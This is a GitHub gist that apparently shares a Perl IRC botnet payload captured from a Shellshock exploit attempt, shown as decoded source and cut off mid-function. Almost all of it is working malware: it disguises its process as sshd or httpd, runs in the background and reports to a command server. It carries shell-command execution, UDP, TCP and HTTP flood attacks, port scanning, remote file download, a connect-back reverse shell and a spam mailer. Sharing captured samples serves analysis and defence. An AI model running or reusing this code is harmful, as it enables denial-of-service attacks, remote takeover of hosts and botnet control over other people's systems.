Last active
March 8, 2020 19:52
-
-
Save tedpennings/295c81105518ce820fea to your computer and use it in GitHub Desktop.
Shellshock exploit attempt from the wild
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# The Base 64 decoded version of that script -- contents begin on next line | |
###################################################################################################################### | |
###################################################################################################################### | |
## DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team ## [ Help ] ########################################### | |
## Stealth MultiFunctional IrcBot writen in Perl ####################################################### | |
## Teste on every system with PERL instlled ## !u @system ## | |
## ## !u @version ## | |
## This is a free program used on your own risk. ## !u @channel ## | |
## Created for educational purpose only. ## !u @flood ## | |
## I'm not responsible for the illegal use of this program. ## !u @utils ## | |
###################################################################################################################### | |
## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ########################### | |
###################################################################################################################### | |
## !u @join <#channel> ## !u @udp1 <ip> <port> <time> ## !u @cback <ip> <port> ## | |
## !u @part <#channel> ## !u @udp2 <ip> <packet size> <time> ## !u @downlod <url+path> <file> ## | |
## !u !uejoin <#channel> ## !u @udp3 <ip> <port> <time> ## !u @portscan <ip> ## | |
## !u !op <channel> <nick> ## !u @tcp <ip> <port> <packet size> <time> ## !u @mail <subject> <sender> ## | |
## !u !deop <channel> <nick> ## !u @http <site> <time> ## <recipient> <message> ## | |
## !u !voice <channel> <nick> ## ## !u pwd;uname -a;id <for example> ## | |
## !u !devoice <channel> <nick> ## !u @ctcpflood <nick> ## !u @port <ip> <port> ## | |
## !u !nick <newnick> ## !u @msgflood <nick> ## !u @dns <ip/host> ## | |
## !u !msg <nick> ## !u @noticeflood <nick> ## ## | |
## !u !quit ## ## ## | |
## !u !uaw ## ## ## | |
## !u @die ## ## ## | |
## ## ## ## | |
###################################################################################################################### | |
###################################################################################################################### | |
############################# | |
##### [ Configuration ] ##### | |
############################# | |
my @rps = ("/usr/local/apache/bin/httpd -DSSL", | |
"/usr/sbin/httpd -k start -DSSL", | |
"/usr/sbin/httpd", | |
"/usr/sbin/sshd -i", | |
"/usr/sbin/sshd", | |
"/usr/sbin/sshd -D", | |
"/usr/sbin/apache2 -k start", | |
"/sbin/syslogd", | |
"/sbin/klogd -c 1 -x -x", | |
"/usr/sbin/acpid", | |
"/usr/sbin/cron"); | |
my $process = $rps[rand scalar @rps]; | |
my $vers = "\001VERSION - unknown command.\001"; | |
my $ircname = "shock"; | |
my $realname = `uname -vr`; | |
my $nick = "perl"; | |
$server = 'fflyy.su' unless $server; | |
my $port = '8080'; | |
my $linas_max='10'; | |
my $sleep='5'; | |
my $homedir = "/tmp"; | |
my $version = 'DDoS Perl Bot v1.0'; | |
my @admins = ("M","st0n3d","x00","Jorgee"); | |
my @hostauth = ("lolhome"); | |
my @channels = ("#mperl2"); | |
$unamea = `uname -a`; | |
$uid = `id`; | |
my $pacotes = 1; | |
################################################################# | |
##### [ Stop Editing if you dont know what are you doing. ] ##### | |
################################################################# | |
$SIG{'INT'} = 'IGNORE'; | |
$SIG{'HUP'} = 'IGNORE'; | |
$SIG{'TERM'} = 'IGNORE'; | |
$SIG{'CHLD'} = 'IGNORE'; | |
$SIG{'PS'} = 'IGNORE'; | |
use Socket; | |
use IO::Socket; | |
use IO::Socket::INET; | |
use IO::Select; | |
chdir("$homedir"); | |
$server="$ARGV[0]" if $ARGV[0]; | |
$0="$process"."\0"x16;; | |
my $pid=fork; | |
exit if $pid; | |
die "Can't fork in background: $!" unless defined($pid); | |
our %irc_servers; | |
our %DCC; | |
my $dcc_sel = new IO::Select->new(); | |
$sel_cliente = IO::Select->new(); | |
sub sendraw { | |
if ($#_ == '1') { | |
my $socket = $_[0]; | |
print $socket "$_[1]\n"; | |
} else { | |
print $IRC_cur_socket "$_[0]\n"; | |
} | |
} | |
sub getstore ($$) | |
{ | |
my $url = shift; | |
my $file = shift; | |
$http_stream_out = 1; | |
open(GET_OUTFILE, "> $file"); | |
%http_loop_check = (); | |
_get($url); | |
close GET_OUTFILE; | |
return $main::http_get_result; | |
} | |
sub _get | |
{ | |
my $url = shift; | |
my $proxy = ""; | |
grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV; | |
if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) { | |
my $host = $1; | |
my $port = $2 || 80; | |
my $path = $3; | |
$path = "/" unless defined($path); | |
return _trivial_http_get($host, $port, $path); | |
} elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) { | |
my $host = $1; | |
my $port = $2; | |
my $path = $url; | |
return _trivial_http_get($host, $port, $path); | |
} else { | |
return undef; | |
} | |
} | |
sub _trivial_http_get | |
{ | |
my($host, $port, $path) = @_; | |
my($AGENT, $VERSION, $p); | |
$AGENT = "get-minimal"; | |
$VERSION = "20000118"; | |
$path =~ s/ /%20/g; | |
require IO::Socket; | |
local($^W) = 0; | |
my $sock = IO::Socket::INET->new(PeerAddr => $host, | |
PeerPort => $port, | |
Proto => 'tcp', | |
Timeout => 60) || return; | |
$sock->autoflush; | |
my $netloc = $host; | |
$netloc .= ":$port" if $port != 80; | |
my $request = "GET $path HTTP/1.0\015\012" | |
. "Host: $netloc\015\012" | |
. "User-Agent: $AGENT/$VERSION/u\015\012"; | |
$request .= "Pragma: no-cache\015\012" if ($main::http_no_cache); | |
$request .= "\015\012"; | |
print $sock $request; | |
my $buf = ""; | |
my $n; | |
my $b1 = ""; | |
while ($n = sysread($sock, $buf, 8*1024, length($buf))) { | |
if ($b1 eq "") { | |
$b1 = $buf; | |
$buf =~ s/.+?\015?\012\015?\012//s; | |
} | |
if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; } | |
} | |
return undef unless defined($n); | |
$main::http_get_result = 200; | |
if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) { | |
$main::http_get_result = $1; | |
if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) { | |
my $url = $1; | |
return undef if $http_loop_check{$url}++; | |
return _get($url); | |
} | |
return undef unless $main::http_get_result =~ /^2/; | |
} | |
return $buf; | |
} | |
sub conectar { | |
my $meunick = $_[0]; | |
my $server_con = $_[1]; | |
my $port_con = $_[2]; | |
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con", | |
PeerPort=>$port_con) or return(1); | |
if (defined($IRC_socket)) { | |
$IRC_cur_socket = $IRC_socket; | |
$IRC_socket->autoflush(1); | |
$sel_cliente->add($IRC_socket); | |
$irc_servers{$IRC_cur_socket}{'host'} = "$server_con"; | |
$irc_servers{$IRC_cur_socket}{'port'} = "$port_con"; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; | |
nick("$meunick"); | |
sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname"); | |
sleep 1; | |
} | |
} | |
my $line_temp; | |
while( 1 ) { | |
while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); } | |
delete($irc_servers{''}) if (defined($irc_servers{''})); | |
my @ready = $sel_cliente->can_read(0); | |
next unless(@ready); | |
foreach $fh (@ready) { | |
$IRC_cur_socket = $fh; | |
$meunick = $irc_servers{$IRC_cur_socket}{'nick'}; | |
$nread = sysread($fh, $msg, 4096); | |
if ($nread == 0) { | |
$sel_cliente->remove($fh); | |
$fh->close; | |
delete($irc_servers{$fh}); | |
} | |
@lines = split (/\n/, $msg); | |
for(my $c=0; $c<= $#lines; $c++) { | |
$line = $lines[$c]; | |
$line=$line_temp.$line if ($line_temp); | |
$line_temp=''; | |
$line =~ s/\r$//; | |
unless ($c == $#lines) { | |
parse("$line"); | |
} else { | |
if ($#lines == 0) { | |
parse("$line"); | |
} elsif ($lines[$c] =~ /\r$/) { | |
parse("$line"); | |
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { | |
parse("$line"); | |
} else { | |
$line_temp = $line; | |
} | |
} | |
} | |
} | |
} | |
sub parse { | |
my $servarg = shift; | |
if ($servarg =~ /^PING \:(.*)/) { | |
sendraw("PONG :$1"); | |
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { | |
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; | |
if ($args =~ /^\001VERSION\001$/) { | |
} | |
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) { | |
if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) { | |
if ($onde eq "$meunick"){ | |
shell("$pn", "$args"); | |
} | |
if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) { | |
my $natrix = $1; | |
my $arg = $2; | |
if ($arg =~ /^\!(.*)/) { | |
ircase("$pn","$onde","$1"); | |
} elsif ($arg =~ /^\@(.*)/) { | |
$ondep = $onde; | |
$ondep = $pn if $onde eq $meunick; | |
bfunc("$ondep","$1"); | |
} else { | |
shell("$onde", "$arg"); | |
} | |
} | |
} | |
} | |
} | |
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { | |
if (lc($1) eq lc($meunick)) { | |
$meunick=$4; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
} | |
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) { | |
nick("$meunick|".int rand((8999999999)+1000000000)); | |
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { | |
$meunick = $2; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
$irc_servers{$IRC_cur_socket}{'nome'} = "$1"; | |
foreach my $canal (@channels) { | |
sendraw("MODE $nick +x"); | |
sendraw("JOIN $canal"); | |
sendraw("PRIVMSG $canal :$unamea"); | |
sendraw("PRIVMSG $canal :$uid"); | |
} | |
} | |
} | |
sub bfunc { | |
my $printl = $_[0]; | |
my $funcarg = $_[1]; | |
if (my $pid = fork) { | |
waitpid($pid, 0); | |
} else { | |
if (fork) { | |
exit; | |
} else { | |
########################### | |
##### [ Help Module ] ##### | |
########################### | |
if ($funcarg =~ /^help/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Main Help: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= "); | |
} | |
if ($funcarg =~ /^system/) { | |
$uptime=`uptime`; | |
$ownd=`pwd`; | |
$id=`id`; | |
$uname=`uname -srp`; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1Bot Configuration: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server : 12$server "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port : 12$port "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels : 12@channels "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a : 12$uname "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime : 12$uptime "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess : 12$process "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID : 12$$ "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID : 12$id "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir : 12$ownd "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== "); | |
} | |
if ($funcarg =~ /^version/){ | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1Bot Informations: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12DDoS "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year : 122012 "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== "); | |
} | |
if ($funcarg =~ /^flood/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Flood Help: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp3 <ip> <port> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= "); | |
} | |
if ($funcarg =~ /^channel/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Channel Help: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1join <channel> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1part <channel> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1rejoin <channel> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1op <channel> <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1deop <channel> <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1voice <channel> <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1devoice <channel> <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1nick <newnick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1msg <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1quit "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1die "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= "); | |
} | |
if ($funcarg =~ /^utils/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Utils Help: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1cback <ip> <port> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1download <url+path> <file> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1mail <subject> <sender> <recipient> <message> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1dns <ip> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1port <ip> <port> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1portscan <ip> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u pwd (for example) "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== "); | |
} | |
######################### | |
##### [ Functions ] ##### | |
######################### | |
if ($funcarg =~ /^die/) { | |
sendraw($IRC_cur_socket, "QUIT :"); | |
$killd = "kill -9 ".fork; | |
system (`$killd`); | |
} | |
########### | |
if ($funcarg =~ /^join (.*)/) { | |
sendraw($IRC_cur_socket, "JOIN ".$1); | |
} | |
if ($funcarg =~ /^part (.*)/) { | |
sendraw($IRC_cur_socket, "PART ".$1); | |
} | |
########### | |
if ($funcarg =~ /^portscan (.*)/) { | |
my $hostip="$1"; | |
my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533"); | |
my (@aberta, %porta_banner); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Scanning for open ports on 12".$1." 9,1started. "); | |
foreach my $porta (@portas) { | |
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); | |
if ($scansock) { | |
push (@aberta, $porta); | |
$scansock->close; | |
} | |
} | |
if (@aberta) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Open ports found: 12@aberta "); | |
} else { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1No open ports found. "); | |
} | |
} | |
############## | |
if ($funcarg =~ /^download\s+(.*)\s+(.*)/) { | |
getstore("$1", "$2"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 "); | |
} | |
############## | |
if ($funcarg =~ /^dns\s+(.*)/){ | |
my $nsku = $1; | |
$mydns = inet_ntoa(inet_aton($nsku)); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns "); | |
} | |
############## | |
if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) { | |
my $hostip= "$1"; | |
my $portsc= "$2"; | |
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7); | |
if ($scansock) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. "); | |
} | |
else { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. "); | |
} | |
} | |
############## | |
if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) { | |
return unless $pacotes; | |
socket(Tr0x, PF_INET, SOCK_DGRAM, 17); | |
my $alvo=inet_aton("$1"); | |
my $porta = "$2"; | |
my $dtime = "$3"; | |
my $pacote; | |
my $pacotese; | |
my $size = 0; | |
my $fim = time + $dtime; | |
my $pacota = 1; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. "); | |
while (($pacota == "1") && ($pacotes == "1")) { | |
$pacota = 0 if ((time >= $fim) && ($dtime != "0")); | |
$pacote = $size ? $size : int(rand(1024-64)+64) ; | |
$porta = int(rand 65000) +1 if ($porta == "0"); | |
#send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)); | |
send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo)); | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. "); | |
} | |
############## | |
if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. "); | |
my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3"); | |
$dtime = 1 if $dtime == 0; | |
my %bytes; | |
$bytes{igmp} = $2 * $pacotes{igmp}; | |
$bytes{icmp} = $2 * $pacotes{icmp}; | |
$bytes{o} = $2 * $pacotes{o}; | |
$bytes{udp} = $2 * $pacotes{udp}; | |
$bytes{tcp} = $2 * $pacotes{tcp}; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. "); | |
} | |
############## | |
if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) { | |
return unless $pacotes; | |
socket(Tr0x, PF_INET, SOCK_DGRAM, 17); | |
my $alvo=inet_aton("$1"); | |
my $porta = "$2"; | |
my $dtime = "$3"; | |
my $pacote; | |
my $pacotese; | |
my $fim = time + $dtime; | |
my $pacota = 1; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. "); | |
while (($pacota == "1") && ($pacotes == "1")) { | |
$pacota = 0 if ((time >= $fim) && ($dtime != "0")); | |
$pacote= $rand x $rand x $rand; | |
$porta = int(rand 65000) +1 if ($porta == "0"); | |
send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1"); | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. "); | |
} | |
############## | |
############## | |
if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. "); | |
my $itime = time; | |
my ($cur_time); | |
$cur_time = time - $itime; | |
while ($3>$cur_time){ | |
$cur_time = time - $itime; | |
&tcpflooder("$1","$2","$3"); | |
} | |
sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attack ended on: 12".$1.":".$2."9,1. "); | |
} | |
############## | |
if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP DDOS] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. "); | |
my $itime = time; | |
my ($cur_time); | |
$cur_time = time - $itime; | |
while ($2>$cur_time){ | |
$cur_time = time - $itime; | |
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80); | |
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n"; | |
close($socket); | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP DDOS] 9,1Attacking ended on: 12".$1."9,1. "); | |
} | |
############## | |
if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) { | |
my $host = "$1"; | |
my $port = "$2"; | |
my $proto = getprotobyname('tcp'); | |
my $iaddr = inet_aton($host); | |
my $paddr = sockaddr_in($port, $iaddr); | |
my $shell = "/bin/sh -i"; | |
if ($^O eq "MSWin32") { | |
$shell = "cmd.exe"; | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [ConnectBack] 9,1Connecting to 12$host:$port "); | |
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; | |
connect(SOCKET, $paddr) or die "connect: $!"; | |
open(STDIN, ">&SOCKET"); | |
open(STDOUT, ">&SOCKET"); | |
open(STDERR, ">&SOCKET"); | |
system("$shell"); | |
close(STDIN); | |
close(STDOUT); | |
close(STDERR); | |
} | |
############## | |
if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 "); | |
$subject = $1; | |
$sender = $2; | |
$recipient = $3; | |
@corpo = $4; | |
$mailtype = "content-type: text/html"; | |
$sendmail = '/usr/sbin/sendmail'; | |
open (SENDMAIL, "| $sendmail -t"); | |
print SENDMAIL "$mailtype\n"; | |
print SENDMAIL "Subject: $subject\n"; | |
print SENDMAIL "From: $sender\n"; | |
print SENDMAIL "To: $recipient\n\n"; | |
print SENDMAIL "@corpo\n\n"; | |
close (SENDMAIL); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient "); | |
} | |
exit; | |
} | |
} | |
############## | |
if ($funcarg =~ /^ctcpflood (.*)/) { | |
my $target = "$1"; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." "); | |
for (1..10) { | |
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n"); | |
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n"); | |
} | |
} | |
############## | |
if ($funcarg =~ /^msgflood (.*)/) { | |
my $target = "$1"; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1MSG Flooding: 12".$target." "); | |
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8..."); | |
} | |
############## | |
if ($funcarg =~ /^noticeflood (.*)/) { | |
my $target = "$1"; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1NOTICE Flooding: 12".$target." "); | |
for (1..2){ | |
sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8..."); | |
} | |
} | |
############## | |
############## | |
sub ircase { | |
my ($kem, $printl, $case) = @_; | |
if ($case =~ /^join (.*)/) { | |
j("$1"); | |
} | |
elsif ($case =~ /^part (.*)/) { | |
p("$1"); | |
} | |
elsif ($case =~ /^rejoin\s+(.*)/) { | |
my $chan = $1; | |
if ($chan =~ /^(\d+) (.*)/) { | |
for (my $ca = 1; $ca <= $1; $ca++ ) { | |
p("$2"); | |
j("$2"); | |
} | |
} else { | |
p("$chan"); | |
j("$chan"); | |
} | |
} | |
elsif ($case =~ /^op/) { | |
op("$printl", "$kem") if $case eq "op"; | |
my $oarg = substr($case, 3); | |
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
elsif ($case =~ /^deop/) { | |
